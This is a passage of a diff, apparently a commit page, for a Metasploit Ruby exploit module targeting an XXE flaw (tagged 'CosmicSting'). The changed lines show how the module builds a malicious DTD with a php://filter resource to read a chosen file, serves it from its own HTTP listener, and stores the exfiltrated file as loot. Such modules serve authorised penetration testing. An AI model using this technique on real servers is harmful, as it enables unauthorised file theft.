@@ -37,7 +37,6 @@ def initialize(info = {})
37
37
] ,
38
38
'DefaultTarget' => 0 ,
39
39
'Notes' => {
40
- 'AKA' => [ 'CosmicSting' ] ,
41
40
'Stability' => [ CRASH_SAFE ] ,
42
41
'Reliability' => [ ] ,
43
42
'SideEffects' => [ IOC_IN_LOGS ]
@@ -96,9 +95,8 @@ def dtd_param_name
96
95
@dtd_param_name ||= rand_text_alpha_lower ( 4 ..8 )
97
96
end
98
97
99
- def make_xxe_dtd ( filter_path = nil , file = nil )
100
- file ||= datastore [ 'FILE' ]
101
- filter_path ||= "php://filter/convert.base64-encode/resource=#{ file } "
98
+ def make_xxe_dtd
99
+ filter_path = "php://filter/convert.base64-encode/resource=#{ datastore [ 'FILE' ] } "
102
100
ent_file = rand_text_alpha_lower ( 4 ..8 )
103
101
%(
104
102
<!ENTITY % #{ ent_file } SYSTEM "#{ filter_path } ">
@@ -172,14 +170,15 @@ def exploit
172
170
} )
173
171
datastore [ 'SSL' ] = true if ssl_restore
174
172
xxe_request
173
+ sleep ( 5 )
175
174
rescue Timeout ::Error => e
176
175
fail_with ( Failure ::TimeoutExpired , e . message )
177
176
end
178
177
179
178
def on_request_uri ( cli , req )
180
179
super
181
180
data = ''
182
- # vprint_status("Received request for #{req.uri}")
181
+
183
182
case req . uri
184
183
when /(.*).dtd/
185
184
vprint_status ( "Received request for DTD file from #{ cli . peerhost } " )
@@ -198,6 +197,8 @@ def on_request_uri(cli, req)
198
197
p = store_loot ( datastore [ 'FILE' ] , loot_type , datastore [ 'RHOST' ] , data , loot_desc )
199
198
print_good ( "File saved in: #{ p } " )
200
199
end
200
+ else
201
+ print_status ( "Unexpected request received: '#{ req . method } #{ req . uri } '" )
201
202
end
202
203
203
204
send_response ( cli , data )
0 commit comments